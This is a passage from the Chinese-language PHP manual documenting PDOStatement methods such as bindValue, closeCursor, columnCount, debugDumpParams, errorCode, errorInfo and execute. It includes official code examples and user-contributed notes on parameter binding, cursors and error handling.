FROM fruit
WHERE calories < ? AND colour = ?');
$sth->bindValue(1, $calories, PDO::PARAM_INT);
$sth->bindValue(2, $colour, PDO::PARAM_STR);
$sth->execute();
?>

参见

  • PDO::prepare() - 预处理要执行的语句，并返回语句对象
  • PDOStatement::execute() - 执行预处理语句
  • PDOStatement::bindParam() - 绑定一个参数到指定的变量名

User Contributed Notes

sageptr at gmail dot com 28-Sep-2016 03:32
Be careful in edge cases!
With MySQL native prepares your integer can be wrapped around on some machines:

<?php
$x = 2147483648;
var_dump($x); // prints: int(2147483648)
$s = $db->prepare('SELECT :int AS I, :str AS S;');
$s->bindValue(':int', $x, PDO::PARAM_INT);
$s->bindValue(':str', $x, PDO::PARAM_STR);
$s->execute();
var_dump( $s->fetchAll(PDO::FETCH_ASSOC) );
/* prints: array(2) {
  ["I"]=>
  string(11) "-2147483648"
  ["S"]=>
  string(10) "2147483648"
} */
?>

Also, trying to bind PDO::PARAM_BOOL in MySQL with native prepares can make your query silently fail and return empty set.

Emulated prepares work more stable in this cases, because they convert everything to strings and just decide whenever to quote argument or not to quote.
e-ruiz at git hub 23-Sep-2016 04:40
Be careful when trying to validate using PDO::PARAM_INT.

Take this sample into account:

<?php
/* php --version
 * PHP 5.6.25 (cli) (built: Aug 24 2016 09:50:46)
 * Copyright (c) 1997-2016 The PHP Group
 * Zend Engine v2.6.0, Copyright (c) 1998-2016 Zend Technologies
 */

$id = '1a';
$stm = $pdo->prepare('select * from author where id = :id');
$bind = $stm->bindValue(':id', $id, PDO::PARAM_INT);

$stm->execute();
$authors = $stm->fetchAll();

var_dump($id);         // string(2)
var_dump($bind);       // true
var_dump((int)$id);    // int(1)
var_dump(is_int($id)); // false
var_dump($authors);    // the author id=1  =(

// remember
var_dump(1 == '1');    // true
var_dump(1 === '1');   // false
var_dump(1 === '1a');  // false
var_dump(1 == '1a');   // true
?>

My opinion: bindValue() should test is_int() internaly first of anything,
It is a bug? I'm not sure.
D.Kellner 15-Jan-2016 05:48
When binding parameters, apparently you can't use a placeholder twice (e.g. "select * from mails where sender=:me or recipient=:me"), you'll have to give them different names otherwise your query will return empty handed (but not fail, unfortunately).  Just in case you're struggling with something like this.
consatangmailcom 24-Sep-2015 11:04
The parameter must names like a php variable.
e.g.
<?php
$dbh = new PDO("mysql:dbname=test;host=127.0.0.1", "user", "password");

$sth = $dbh->prepare("SELECT * FROM `table` WHERE `last-name`=:last-name");

if($sth !== false && $sth->bindValue(":last-name", "Ngo")) {
    $sth->execute();
}

// output: PHP Warning:  PDOStatement::execute(): SQLSTATE[HY093]: Invalid parameter number: parameter was not defined
?>
Vladimir Kovpak 19-Feb-2015 06:11
<?php
/**
* Bind bit value.
*/

$sql = 'SELECT * FROM myTable WHERE level & ?';
$sth = \App::pdo()->prepare($sql);
$sth->bindValue(1, 0b0101, \PDO::PARAM_INT);
$sth->execute();
$result = $sth->fetchAll(\PDO::FETCH_ASSOC);
me at iabdullah dot info 07-Aug-2014 09:47
The reason that we cannot define the value variable for bindValue() after calling it, is because that it binds the value to the prepared statement immediately and does not wait until the execute() to happen.

The following code will issue a notice and prevent the query from taking place:
<?php
    $st = $db->prepare ("SELECT * FROM posts WHERE id= :val ");
    $st->bindValue(':val',$val);

    $val = '2';
    $st->execute();
?>
The output:
Notice: Undefined variable: val.

Whereas in the case of bindParam, the evaluation of the value to the parameter will not be performed until the call of execute(). And that's to gain the benefit of reference passing.
<?php
    $st = $db->prepare ("SELECT * FROM posts WHERE id = :val ");
    $st->bindParam(':val',$val);

    $val = '2';
    //
    // some code
    //
    $val = '3'; // re-assigning the value variable
    $st->execute();
?>
works fine.
contact[at]maximeelomari.com 17-Jul-2011 05:19
This function is useful for bind value on an array. You can specify the type of the value in advance with $typeArray.

<?php
/**
 * @param string $req : the query on which link the values
 * @param array $array : associative array containing the values ??to bind
 * @param array $typeArray : associative array with the desired value for its corresponding key in $array
 * */
function bindArrayValue($req, $array, $typeArray = false)
{
    if(is_object($req) && ($req instanceof PDOStatement))
    {
        foreach($array as $key => $value)
        {
            if($typeArray)
                $req->bindValue(":$key",$value,$typeArray[$key]);
            else
            {
                if(is_int($value))
                    $param = PDO::PARAM_INT;
                elseif(is_bool($value))
                    $param = PDO::PARAM_BOOL;
                elseif(is_null($value))
                    $param = PDO::PARAM_NULL;
                elseif(is_string($value))
                    $param = PDO::PARAM_STR;
                else
                    $param = FALSE;

                if($param)
                    $req->bindValue(":$key",$value,$param);
            }
        }
    }
}

/**
 * ## EXEMPLE ##
 * $array = array('language' => 'php','lines' => 254, 'publish' => true);
 * $typeArray = array('language' => PDO::PARAM_STR,'lines' => PDO::PARAM_INT,'publish' => PDO::PARAM_BOOL);
 * $req = 'SELECT * FROM code WHERE language = :language AND lines = :lines AND publish = :publish';
 * You can bind $array like that :
 * bindArrayValue($array,$req,$typeArray);
 * The function is more useful when you use limit clause because they need an integer.
 * */
?>
Anonymous 18-Jun-2011 08:40
Note that the third parameter ($data_type) in the majority of cases will not type cast the value into anything else to be used in the query, nor will it throw any sort of error if the type does not match up with the value provided. This parameter essentially has no effect whatsoever except throwing an error if it is set and is not a float, so do not think that it is adding any extra level of security to the queries.

The two exceptions where type casting is performed:

- if you use PDO::PDO_PARAM_INT and provide a boolean, it will be converted to a long
- if you use PDO::PDO_PARAM_BOOL and provide a long, it will be converted to a boolean

<?php

$query = 'SELECT * FROM `users` WHERE username = :username AND `password` = ENCRYPT( :password, `crypt_password`)';

$sth= $dbh->prepare($query);

// First try passing a random numerical value as the third parameter
var_dump($sth->bindValue(':username','bob', 12345.67)); // bool(true)

// Next try passing a string using the boolean type
var_dump($sth->bindValue(':password','topsecret_pw', PDO::PARAM_BOOL)); // bool(true)

$sth->execute(); // Query is executed successfully
$result = $sth->fetchAll(); // Returns the result of the query

?>
goofiq dot no dot spam at antispam dot wp dot pl 27-Dec-2009 10:43
bindValue with data_type depend parameter name

<?php

$db = new PDO (...);
$db -> setAttribute (PDO::ATTR_STATEMENT_CLASS, array ('MY_PDOStatement ', array ($db)));

class MY_PDOStatement extends PDOStatement {

  public function execute ($input = array ()) {
    foreach ($input as $param => $value) {
      if (preg_match ('/_id$/', $param))
        $this -> bindValue ($param, $value, PDO::PARAM_INT);
      else
        $this -> bindValue ($param, $value, PDO::PARAM_STR);
    }
    return parent::execute ();
  }

}

?>
cpd-dev 11-Dec-2009 04:46
Although bindValue() escapes quotes it does not escape "%" and "_", so be careful when using LIKE. A malicious parameter full of %%% can dump your entire database if you don't escape the parameter yourself. PDO does not provide any other escape method to handle it.
nicolas dot baptiste at gmail dot com 04-Sep-2009 08:06
This actually works to bind NULL on an integer field in MySQL :

$stm->bindValue(':param', null, PDO::PARAM_INT);
Lambdaman 30-Apr-2009 05:19
If you want to bind a null value to a database field you must use 'NULL' in quotes (for MySQL):

<?php

$stmt->bindValue(:fieldName, 'NULL');

// not
$stmt->bindValue(:fieldName, NULL);
// or
$stmt->bindValue(:fieldName, null);

?>

Using PHP's null/NULL as a value doesn't work.
streaky at mybrokenlogic dot com 08-Jan-2008 02:20
What the bindValue() docs fail to explain without reading them _very_ carefully is that bindParam() is passed to PDO byref - whereas bindValue() isn't.

Thus with bindValue() you can do something like $stmt->bindValue(":something", "bind this"); whereas with bindParam() it will fail because you can't pass a string by reference, for example.
ts//tpdada//art//pl 15-Dec-2006 06:34
For bind whole array at once

<?php

function PDOBindArray(&$poStatement, &$paArray){

  foreach ($paArray as $k=>$v){

    @$poStatement->bindValue(':'.$k,$v);

  } // foreach

 } // function

// example

$stmt = $dbh->prepare("INSERT INTO tExample (id,value) VALUES (:id,:value)");

$taValues = array(
 'id' => '1',
 'value' => '2'
); // array

PDOBindArray($stmt,$taValues);

$stmt->execute();

?>


关闭游标，使语句能再次被执行

  • ? PDOStatement::bindValue
  • PDOStatement::columnCount ?
  • PHP Manual
  • PDOStatement
  • 关闭游标，使语句能再次被执行

PDOStatement::closeCursor

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.9.0)

PDOStatement::closeCursor — 关闭游标，使语句能再次被执行

说明

public PDOStatement::closeCursor(): bool

PDOStatement::closeCursor() 释放到数据库服务的连接，以便发出其他 SQL 语句，但使语句处于一个可以被再次执行的状态。

当上一个执行的 PDOStatement 对象仍有未取行时，此方法对那些不支持再执行一个 PDOStatement 对象的数据库驱动非常有用。 如果数据库驱动受此限制，则可能出现失序错误的问题。

PDOStatement::closeCursor() 要么是一个可选驱动的特有方法（效率最高）来实现，要么是在没有驱动特定的功能时作为一般的PDO 备用来实现。一般的备用语义上与下面的 PHP 代码相同：

<?php
do {
while ($stmt->fetch())
;
if (!$stmt->nextRowset())
break;
} while (true);
?>

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

如果属性 PDO::ATTR_ERRMODE 设置为 PDO::ERRMODE_WARNING，则发出级别为 E_WARNING 的错误。

如果属性 PDO::ATTR_ERRMODE 设置为 PDO::ERRMODE_EXCEPTION，则抛出 PDOException。

示例

Example #1 PDOStatement::closeCursor() 示例

在下面示例中，$stmt PDOStatement 对象返回多行，但应用程序只取第一行，让 PDOStatement 对象处于一个有未取行的状态。为确保应用程序对所有数据库驱动都能正常运行，在执行 $otherStmt PDOStatement 对象前，在 $stmt 调用 PDOStatement::closeCursor()。

<?php
/* 创建一个 PDOStatement 对象 */
$stmt = $dbh->prepare('SELECT foo FROM bar');

/* 创建第二个 PDOStatement 对象 */
$otherStmt = $dbh->prepare('SELECT foobaz FROM foobar');

/* 执行第一条语句 */
$stmt->execute();

/* 从结果集中只取出第一行 */
$stmt->fetch();

/* The following call to closeCursor() may be required by some drivers */
$stmt->closeCursor();

/* 现在可以执行第二条语句了 */
$otherStmt->execute();
?>

参见

  • PDOStatement::execute() - 执行预处理语句

User Contributed Notes

Anonymous 01-Jul-2015 03:36
In case this is helpful to anybody else who ends-up here after getting the following error:

SQLState: 24000 [Microsoft][ODBC SQL Server Driver]Invalid cursor state

PDOStatement :: closeCursor() did not fix the issue for me. However, adding SET NOCOUNT ON to the beginning of my stored procedure did.
Anonymous 19-Jun-2015 09:44
At least with MySQL this function also resets any bound columns, so the fetches will go through as expected but you will be getting stale data in the loop.

Redo all the binds before continuing!
jhill9693 at gmail dot com 02-May-2011 08:34
If you ran a SQL statement (vs a query that returns data) such as UPDATE, try unsetting your PDOStatement object instead of calling PDOStatement::closeCursor().
narada dot sage at googlemail dot com 29-Apr-2006 01:23
When running multiple queries one after another especially when stored procedures are involved one must release all result sets and fetch all rows in each result set for a stored procedure before moving onto the next query.  This is important because a stored procedure returns an extra (empty) result set as a result of having called the procedure itself.

In my case calling PDOStatement :: closeCursor() did not work (on php-5.1.3-rc2) and I was presented with the following error message: "SQLSTATE[HY000]: General error: 2013 Lost connection to MySQL server during query" upon trying to PDO :: prepare() my second query.  So I used the following drop in replacement within one of my classes which fixed the issue.

<?php
/**
 * @param PDOStatement $oStm
 */
public static function closeCursor($oStm) {
    do $oStm->fetchAll();
    while ($oStm->nextRowSet());
}
?>


返回结果集中的列数

  • ? PDOStatement::closeCursor
  • PDOStatement::debugDumpParams ?
  • PHP Manual
  • PDOStatement
  • 返回结果集中的列数

PDOStatement::columnCount

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.2.0)

PDOStatement::columnCount — 返回结果集中的列数

说明

public PDOStatement::columnCount(): int

使用 PDOStatement::columnCount() 返回由 PDOStatement 对象代表的结果集中的列数。

如果是由 PDO::query() 返回的 PDOStatement 对象，则列数计算立即可用。

如果是由 PDO::prepare() 返回的 PDOStatement 对象，则在调用 PDOStatement::execute() 之前都不能准确地计算出列数。

参数

此函数没有参数。

返回值

返回由 PDOStatement 对象代表的结果集中的列数，即便结果集为空。如果没有结果集，则 PDOStatement::columnCount() 返回 0。

错误／异常

如果属性 PDO::ATTR_ERRMODE 设置为 PDO::ERRMODE_WARNING，则发出级别为 E_WARNING 的错误。

如果属性 PDO::ATTR_ERRMODE 设置为 PDO::ERRMODE_EXCEPTION，则抛出 PDOException。

示例

Example #1 计算列数

下面例子演示如何使用 PDOStatement::columnCount() 操作一个结果集和一个空集。

<?php
$dbh = new PDO('odbc:sample', 'db2inst1', 'ibmdb2');

$sth = $dbh->prepare("SELECT name, colour FROM fruit");

/* 计算一个（不存在）的结果集中的列数 */
$colcount = $sth->columnCount();
print "Before execute(), result set has $colcount columns (should be 0)\n";

$sth->execute();

/* 计算结果集中的列数 */
$colcount = $sth->columnCount();
print "After execute(), result set has $colcount columns (should be 2)\n";

?>

以上示例会输出：

Before execute(), result set has 0 columns (should be 0)
After execute(), result set has 2 columns (should be 2)

参见

  • PDO::prepare() - 预处理要执行的语句，并返回语句对象
  • PDOStatement::execute() - 执行预处理语句
  • PDOStatement::rowCount() - 返回受上一个 SQL 语句影响的行数

User Contributed Notes

756567406 at qq dot com 01-Dec-2016 06:21
When you use query method, You'll get count right away

<?php
$dbh = new PDO('odbc:sample', 'db2inst1', 'ibmdb2');

$sth = $dbh->query("SELECT name, colour FROM fruit");
$count = $sth->columnCount();

echo 'query count is '.$count;

?>


打印一条 SQL 预处理命令

  • ? PDOStatement::columnCount
  • PDOStatement::errorCode ?
  • PHP Manual
  • PDOStatement
  • 打印一条 SQL 预处理命令

PDOStatement::debugDumpParams

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.9.0)

PDOStatement::debugDumpParams — 打印一条 SQL 预处理命令

说明

public PDOStatement::debugDumpParams(): ?bool

直接打印出一条预处理语句包含的信息。提供正在使用的 SQL 查询、所用参数（Params）的数目、参数列表及其键名或位置、名称以及查询中的位置（如果当前 POD 驱动不支持，则为 -1），类型（param_type）为整数且 is_param 为布尔值。

这是调试函数，在正常输出的情况下直接输出数据。

Tip

和直接将结果输出到浏览器一样，可使用输出控制函数来捕获当前函数的输出，然后(例如)保存到一个 string 中。

只打印此时此刻语句中的参数。额外的参数不存储在语句中，也就不会被输出。

参数

此函数没有参数。

返回值

返回 null, 或者错误时返回 false。

更新日志

版本 | 说明
7.2.0 | PDOStatement::debugDumpParams() 现在返回发送到数据库的 SQL，包括完整的原始查询（包括替换的占位符及其边界值）。请注意，这仅在打开模拟预处理语句时才可用。

示例

Example #1 PDOStatement::debugDumpParams() 使用命名参数的示例

<?php
/* 通过绑定 PHP 变量执行一条预处理语句 */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
FROM fruit
WHERE calories < :calories AND colour = :colour');
$sth->bindParam(':calories', $calories, PDO::PARAM_INT);
$sth->bindValue(':colour', $colour, PDO::PARAM_STR, 12);
$sth->execute();

$sth->debugDumpParams();

?>

以上示例会输出：

SQL: [96] SELECT name, colour, calories
    FROM fruit
    WHERE calories < :calories AND colour = :colour
Params:  2
Key: Name: [9] :calories
paramno=-1
name=[9] ":calories"
is_param=1
param_type=1
Key: Name: [7] :colour
paramno=-1
name=[7] ":colour"
is_param=1
param_type=2

Example #2 PDOStatement::debugDumpParams() 使用未命名参数的示例

<?php

/* 通过绑定 PHP 变量执行一条预处理语句 */
$calories = 150;
$colour = 'red';
$name = 'apple';

$sth = $dbh->prepare('SELECT name, colour, calories
FROM fruit
WHERE calories < ? AND colour = ?');
$sth->bindParam(1, $calories, PDO::PARAM_INT);
$sth->bindValue(2, $colour, PDO::PARAM_STR);
$sth->execute();

$sth->debugDumpParams();

?>

以上示例会输出：

SQL: [82] SELECT name, colour, calories
    FROM fruit
    WHERE calories < ? AND colour = ?
Params:  2
Key: Position #0:
paramno=0
name=[0] ""
is_param=1
param_type=1
Key: Position #1:
paramno=1
name=[0] ""
is_param=1
param_type=2

参见

  • PDO::prepare() - 预处理要执行的语句，并返回语句对象
  • PDOStatement::bindParam() - 绑定一个参数到指定的变量名
  • PDOStatement::bindValue() - 把一个值绑定到一个参数

User Contributed Notes

Lucas 15-Dec-2015 02:15
This function doesn't have a return, so if you want to do something with it you'll have to do something like

<?php
function pdo_debugStrParams($stmt) {
  ob_start();
  $stmt->debugDumpParams();
  $r = ob_get_contents();
  ob_end_clean();
  return $r;
}

// omitted: connect to the database and prepare a statement
echo '<pre>'.htmlspecialchars(pdo_debugStrParams($stmt)).'</pre>';
?

Source: http://stackoverflow.com/questions/22157331/something-like-debugdumpparams-in-pdo-settable-to-a-string
mark at manngo dot net 07-Oct-2013 01:21
As noted, this doesn't actually simply print the prepared statement with data to be executed.

For trouble shooting purposes, I find the following useful:

<?php
    function parms($string,$data) {
        $indexed=$data==array_values($data);
        foreach($data as $k=>$v) {
            if(is_string($v)) $v="'$v'";
            if($indexed) $string=preg_replace('/\?/',$v,$string,1);
            else $string=str_replace(":$k",$v,$string);
        }
        return $string;
    }

    //    Index Parameters
        $string='INSERT INTO stuff(name,value) VALUES (?,?)';
        $data=array('Fred',23);

    //    Named Parameters
        $string='INSERT INTO stuff(name,value) VALUES (:name,:value)';
        $data=array('name'=>'Fred','value'=>23);

    print parms($string,$data);
?>
thefox 16-Apr-2013 05:58
This function doesn't print parameter values despite the documentation says it does. See https://bugs.php.net/bug.php?id=52384 (filed back in 2010).


获取跟上一次语句句柄操作相关的 SQLSTATE

  • ? PDOStatement::debugDumpParams
  • PDOStatement::errorInfo ?
  • PHP Manual
  • PDOStatement
  • 获取跟上一次语句句柄操作相关的 SQLSTATE

PDOStatement::errorCode

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.1.0)

PDOStatement::errorCode — 获取跟上一次语句句柄操作相关的 SQLSTATE

说明

public PDOStatement::errorCode(): ?string

参数

此函数没有参数。

返回值

与 PDO::errorCode() 相同，只是 PDOStatement::errorCode() 只取回 PDOStatement 对象执行操作中的错误码。

示例

Example #1 检索 SQLSTATE 码

<?php
/* 引发一个错误 -- BONES 数据表不存在 */
$err = $dbh->prepare('SELECT skull FROM bones');
$err->execute();

echo "\nPDOStatement::errorCode(): ";
print $err->errorCode();
?>

以上示例会输出：

PDOStatement::errorCode(): 42S02

参见

  • PDO::errorCode() - 获取跟数据库句柄上一次操作相关的 SQLSTATE
  • PDO::errorInfo() - Fetch extended error information associated with the last operation on the database handle
  • PDOStatement::errorInfo() - 获取跟上一次语句句柄操作相关的扩展错误信息

User Contributed Notes

dbeecher at tekops dot com 21-Aug-2008 02:50
Neither this property nor the PDOStatement::errorInfo() properties are available if you create  your own exception handler.

I am using PHP 5.2.4, PDO_INFORMIX 1.2.0.

Making this call at any point in the program after setting your own exception handler produces an error:

PHP Notice:  Undefined property:  PDOStatement::$errorCode in new_query.php on line

or

PHP Notice:  Undefined property:  PDOStatement::$errorInfo in new_query.php on line

But if I set the PDO to SILENT, only set error codes with:

$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_SILENT)

Then process with if/else the call to this functions works fine.  The examples below only do error checking to show the result codes of this function.  Normally you would want more.

FAILS:

$dbh = new PDO("informix...")
$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

try  {
      $result = $dbh->query("asdfkjasdfkjasdfjk");  /* obvious sql error */
      if ($result) print "success!";
      }
catch
      {
      $myeCode = $dbh->errorCode();
      /* do stuff with error */
      };

$dbh=0;

The error handler gets called but knows nothing about $dbh->errorCode or $dbh->errorInfo.

WORKS:

$dbh = new PDO("informix...")
$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_SILENT);

$result = $dbh->query("asdfkjasdfkjasdfjk");  /* obvious sql error */
if ($result)
      {
      /* process result */
      print "success!";

      /* all done, didn't make any changes */
      $dbh->rollback();
      }
else
      {
      $myeCode = $dbh->errorCode();
      print_r($myeCode);
      };

$dbh=0;  /* close connection */

I hope this helps someone else.
Cheers,
David
vaclav dot sir at gmail dot com 05-Jun-2006 08:59
Statement's errorCode() returns an empty string before execution, and '00000' (five zeros) after a sucessfull execution:

<?php
$stmt = $pdo->prepare($query);
assert($stmt->errorCode === '');

$stmt->execute();
assert($stmt->errorCode === '00000');
?>


获取跟上一次语句句柄操作相关的扩展错误信息

  • ? PDOStatement::errorCode
  • PDOStatement::execute ?
  • PHP Manual
  • PDOStatement
  • 获取跟上一次语句句柄操作相关的扩展错误信息

PDOStatement::errorInfo

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.1.0)

PDOStatement::errorInfo — 获取跟上一次语句句柄操作相关的扩展错误信息

说明

public PDOStatement::errorInfo(): array

参数

此函数没有参数。

返回值

PDOStatement::errorInfo() 返回一个关于上一次语句句柄执行操作的错误信息的数组。该数组至少包含下列字段：

Element | Information
0 | SQLSTATE 错误码（一个由5个字母或数字组成的在 ANSI SQL 标准中定义的标识符）。
1 | 具体驱动错误码。
2 | 具体驱动错误信息。

示例

Example #1 显示连接到DB2数据库的 PDO_ODBC 连接的 errorInfo() 的字段

<?php
/* 激发一个错误 -- BONES 数据表不存在 */
$sth = $dbh->prepare('SELECT skull FROM bones');
$sth->execute();

echo "\nPDOStatement::errorInfo():\n";
$arr = $sth->errorInfo();
print_r($arr);
?>

以上示例会输出：

PDOStatement::errorInfo():
Array
(
    [0] => 42S02
    [1] => -204
    [2] => [IBM][CLI Driver][DB2/LINUX] SQL0204N  "DANIELS.BONES" is an undefined name.  SQLSTATE=42704
)

参见

  • PDO::errorCode() - 获取跟数据库句柄上一次操作相关的 SQLSTATE
  • PDO::errorInfo() - Fetch extended error information associated with the last operation on the database handle
  • PDOStatement::errorCode() - 获取跟上一次语句句柄操作相关的 SQLSTATE

User Contributed Notes

richardverason at gmail dot com 09-Jun-2019 02:51
Seriously errorInfo  is your friend. Use it.

If these look like your google searches then you need errorInfo

"no database error showing in php"
"pdo selects from database but wont insert"
"pdo insert not working"
"isnt pdo just a big hype, should I go back to mysql?"
"how much do surgeons make?"

Trust me it will definitely save you hours of insanity if you make it  a habit to use it in development. Forget E-ALL, it failed me since well, E-ALL apparently doesn't know that I didn't set a default value in my MySQL table and my query wasnt adding anything to it. So always do this

<?php

    $sql = 'do something on a mysql table where foo = :bar';
    $stmt = prepare($sql);
    $stmt->bindValue(':bar', $foo, PDO::PARAM_[DATA TYPE]);
    $stmt->execute();

    // very important during development. But take it off in production
    $foo_arr = $stmt->errorInfo();
    print_r($foo_arr);

    //Sample print_r return
    /*
    Array(
        [0] => HY000
        [1] => 1364
        [2] => Field 'phone' doesn't have a default value
    )
   Never have I been so happy to see an error
    */
?>

While its common practice for any decent developer to always watch out and try to catch for errors, even the best of us make mistakes. This is not a replacement for exceptions, but the simplicity is priceless.
lingtalfi at gmail dot com 17-Dec-2015 09:27
Ansi sql state Error codes can be found here:

https://docs.oracle.com/cd/F49540_01/DOC/server.815/a58231/appd.htm
Geoffrey Hoffman 22-Jul-2015 04:45
If your query is successful, PDO::errorInfo() still returns an array. For MySQL 5.x, I get the following...

Array
(
    [0] => 00000
    [1] =>
    [2] =>
)
Deuchnord 11-Jun-2015 08:48
Sorry, my example below is not correct, this is a correction:

<?php
$listOfUsers = $db->query('SELECT name from uesrs');
$errorInfo = $listOfUsers->errorInfo();
if($errorInfo[0] != 0)
    die($errorInfo[2]);
?>


执行预处理语句

  • ? PDOStatement::errorInfo
  • PDOStatement::fetch ?
  • PHP Manual
  • PDOStatement
  • 执行预处理语句

PDOStatement::execute

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.1.0)

PDOStatement::execute — 执行预处理语句

说明

public PDOStatement::execute(?array $params = null): bool

执行预处理语句。如果预处理语句含有参数标记，必须选择下面其中一种做法：

  • 必须调用 PDOStatement::bindParam() 和/或 PDOStatement::bindValue() 以将变量或值（分别）绑定到参数标记。如果有的话，通过关联参数标记绑定的变量来传递输入值和取得输出值

  • 或必须传递只作为输入参数值的数组

参数

params

一个元素个数和将被执行的 SQL 语句中绑定的参数一样多的数组。所有的值作为 PDO::PARAM_STR 对待。

多个值不能绑定到一个参数；比如，不允许绑定两个值到 IN（）子句中一个单独的命名参数。

绑定的值不能比指定的多；如果在 params 中存在比 PDO::prepare() 预处理的SQL 指定的多的键名，则此语句将会失败并发出一个错误。

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

如果属性 PDO::ATTR_ERRMODE 设置为 PDO::ERRMODE_WARNING，则发出级别为 E_WARNING 的错误。

如果属性 PDO::ATTR_ERRMODE 设置为 PDO::ERRMODE_EXCEPTION，则抛出 PDOException。

示例

Example #1 执行绑定变量和值的预处理语句

<?php
/* 通过绑定变量和值执行预处理语句 */
$calories = 150;
$colour = 'gre';
$sth = $dbh->prepare('SELECT name, colour, calories
FROM fruit
WHERE calories < :calories AND colour LIKE :colour');
$sth->bindParam('calories', $calories, PDO::PARAM_INT);
/* 名称也可以以冒号":"为前缀（可选）*/
$sth->bindValue(':colour', "%$colour%");
$sth->execute();
?>

Example #2 使用命名值数组执行预处理语句

<?php
/* 通过传递一个含有插入值的数组执行一条预处理语句 */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
FROM fruit
WHERE calories < :calories AND colour = :colour');
$sth->execute(array('calories' => $calories, 'colour' => $colour));
/* 数组键也可以以冒号":"为前缀（可选）*/
$sth->execute(array(':calories' => $calories, ':colour' => $colour));
?>

Example #3 使用位置值数组执行预处理语句

<?php
/* 通过传递一个插入值的数组执行一条预处理语句 */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
FROM fruit
WHERE calories < ? AND colour = ?');
$sth->execute(array($calories, $colour));
?>

Example #4 使用绑定到位置占位符的变量执行预处理语句

<?php
/* 通过绑定 PHP 变量执行一条预处理语句 */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
FROM fruit
WHERE calories < ? AND colour = ?');
$sth->bindParam(1, $calories, PDO::PARAM_INT);
$sth->bindParam(2, $colour, PDO::PARAM_STR, 12);
$sth->execute();
?>

Example #5 使用数组执行一条含有 IN 子句的预处理语句

<?php
/* 使用一个数组的值执行一条含有 IN 子句的预处理语句 */
$params = array(1, 21, 63, 171);
/* 创建一个填充了和params相同数量占位符的字符串 */
$place_holders = implode(',', array_fill(0, count($params), '?'));

/*
对于 $params 数组中的每个值，要预处理的语句包含足够的未命名占位符 。
语句被执行时， $params 数组中的值被绑定到预处理语句中的占位符。
这和使用 PDOStatement::bindParam() 不一样，因为它需要一个引用变量。
PDOStatement::execute() 仅作为通过值绑定的替代。
*/
$sth = $dbh->prepare("SELECT id, name FROM contacts WHERE id IN ($place_holders)");
$sth->execute($params);
?>

注释

Note:

有些驱动在执行下一条语句前需要 关闭游标 。

参见

  • PDO::prepare() - 预处理要执行的语句，并返回语句对象
  • PDOStatement::bindParam() - 绑定一个参数到指定的变量名
  • PDOStatement::fetch() - 从结果集中获取下一行
  • PDOStatement::fetchAll() - 从结果集中获取剩余的行
  • PDOStatement::fetchColumn() - 从结果集中的下一行返回单独的一列

User Contributed Notes

Sbastien 08-Jun-2023 07:48
Strangely the manual doesn't give a full SELECT example.

<?php

$sql = <<<SQL
    SELECT ALL name, calories, colour
    FROM fruit
    WHERE calories < :calories AND colour = :colour
    SQL;

$select = $pdo->prepare($sql);

$select->execute(['calories' => 150, 'colour' => 'red']);

$data = $select->fetchAll();
joshuag at count-recount at dynaggelos dot com 09-Dec-2021 05:35
It took me a long while to realize this and the documentation didn't seem very clear on using PDO_Statement::execute() on a SELECT statement type query, so I wanted to note this here. When preparing a SELECT query and then executing it using PDO_Statement::execute(), you can then simply proceed to use PDO_Statement::fetch() or PDO_Statement::fetchAll() on that same PDO_Statement object. This is no different than using PDO::query() to return a PDO_Statement object, and then calling PDO_Statement::fetch() on that object. This is because the PDO_Statement object is of course still a PDO_Statement object, and, as the PDO::query documentation (https://www.php.net/manual/en/pdo.query.php) says, PDO::query also "[p]repares and executes an SQL statement."

<?php

$pdo_statement = $my_pdo_object->prepare( "SELECT * FROM `MyTable` WHERE `Field1` = 'this_string'" );

if ( true === $this->execute_safe_query( $pdo_statement ) ) {

    echo $pdo_statement->fetch();

}

?>
danny dot panzer at gmail dot com 16-Apr-2021 05:31
I have found very strange behavior for PostgreSQL:

Outside of a transaction, you can pass boolean true/false as members of the input array and it seems to work.

However, *inside* a transaction, boolean true works but boolean false does not. Instead, pass something "falsey" like integer 0 or string "false"
davidhcefx 11-Dec-2020 05:06
As already pointed out by some folks, DON'T PASS ARRAYS KEYED WITH NAMES TO QUESTION MARK PARAMETERS!

<?php
$sth = $dbh->prepare('INSERT INTO fruit (name, colour, colories) VALUES (?, ?, ?)');

// This is wrong!
// $param = array("name" => "apple", "colour" => "red", "colories" => 150);

// Array must be keyed with integers starting from zero
$param = array("apple", "red", 150);
$sth->execute($param);
valterekholm at hotmail.com 23-May-2020 11:25
I'm using the question-mark way when binding. I tried to use an an associative array when doing

 $stmt->execute($values);

having column-names as keys. I thought this would make it easier when rendering the query (as I had variable amounts of parameters).

I found that the execute then could not work with associative array, only with numeric array (with numeric indexes).
dg_waves 04-Nov-2017 06:12
Note the return values for this method.
[bool]  => true or false

So when i check several queries like INSERT, UPDATE,  REPLACE AND DELETE, i got accurate results =>  bool(true) i.e. The query executed successfully.

$query = "SELECT session_data" FROM  sessions WHERE session_id = ?";

$stmt = $pdo->prepare($query);
$stmt->bindValue(1, 'login_user_5121');

if($stmt->execute()) {
    print 'Query executed successfully';
}

//Output
Query executed successfully

So, i think u might not have to use { $stmt->rowCount() } method to know whether the query executed successfully.
But on every community i haven't seen anyone point out, so i might be wrong here but u should give it a try with several queries.
Ihor Ivanov 27-Apr-2017 04:51
If one parameter name is missing or misspelled, this function throws an error of level E_WARNING, even when PDO::ATTR_ERRMODE is set to PDO::ERRMODE_SILENT!
In the same situation, but when PDO::ERRMODE_WARNING is set, this function throws TWO errors of level E_WARNING!

